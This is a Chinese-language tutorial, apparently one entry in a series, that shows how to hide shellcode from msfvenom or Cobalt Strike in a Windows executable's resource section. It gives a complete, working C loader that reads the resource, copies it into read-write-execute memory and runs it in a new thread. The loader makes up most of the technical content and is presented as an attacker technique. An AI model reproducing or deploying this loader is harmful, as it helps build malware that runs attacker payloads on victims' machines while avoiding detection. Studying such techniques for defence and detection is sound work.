# 20-基于资源节加载shellcode

## 一、前言

资源节（Resource Section）是Windows可执行文件（PE文件）的一部分，用于存储程序的资源，如图标、菜单、对话框等。攻击者可以将shellcode嵌入到资源节中，然后通过编程方式加载和执行它。

## 二、流程和代码实现

1. **生成Shellcode** 使用工具（如 `msfvenom或cs`）生成Shellcode，保存为二进制文件（如 `shellcode.bin`）
2. **添加资源到项目**

右键 `资源文件>添加>资源`，添加我们刚刚生成的Shellcode

![](https://images-of-oneday.oss-cn-guangzhou.aliyuncs.com/images/2025/02/15/15-14-57-d8daf311ed4441f424a604ad6bebce1e-20250215151456-f144da.png)

选择 `导入`，添加 `payload.bin`

![](https://images-of-oneday.oss-cn-guangzhou.aliyuncs.com/images/2025/02/15/15-17-21-e307b61a3f21aa75418066671a6424e9-20250215151721-82a4ba.png)

![](https://images-of-oneday.oss-cn-guangzhou.aliyuncs.com/images/2025/02/15/15-17-54-faac15310efeccce236951dbd71f5dcc-20250215151754-54ca7f.png)

我们可以在项目中看到我们的bin文件已经被加载

![](https://images-of-oneday.oss-cn-guangzhou.aliyuncs.com/images/2025/02/15/15-29-46-2f3d47daa96d587ad1f01d193cc29856-20250215152945-3f015c.png)

3. 使用代码加载shellcode到内存中

```go
#include <windows.h>
#include "resource.h"

int main()
{
	// 获取资源句柄
	HRSRC shellcodeResource = FindResource(NULL, MAKEINTRESOURCEW(IDR_SHELLCODE_BIN1), L"shellcode_BIN");
	
	// 用于获取资源的大小
	DWORD ResSize = SizeofResource(NULL, shellcodeResource);

	//LoadResource函数会将指定资源句柄所指向的资源数据加载到内存中，并返回一个指向该资源数据的句柄
	HGLOBAL Load = LoadResource(NULL, shellcodeResource);

	// 申请一块大小为buf字节数组长度的可读可行的内存区域
	LPVOID pMemory = VirtualAlloc(NULL, ResSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);

	// 将buf数组中的内容复制到刚刚分配的内存区域
	RtlMoveMemory(pMemory, Load, ResSize);

	// 创建一个线程执行内存中的代码
	HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)pMemory, NULL, 0, NULL);

	// 等待线程执行完成
	WaitForSingleObject(hThread, INFINITE);

	return 0;
}
```

![](https://images-of-oneday.oss-cn-guangzhou.aliyuncs.com/images/2025/02/15/15-29-11-24afeea13be374bc5de0cc23cdee5d5d-20250215152911-2b5dc4.png)
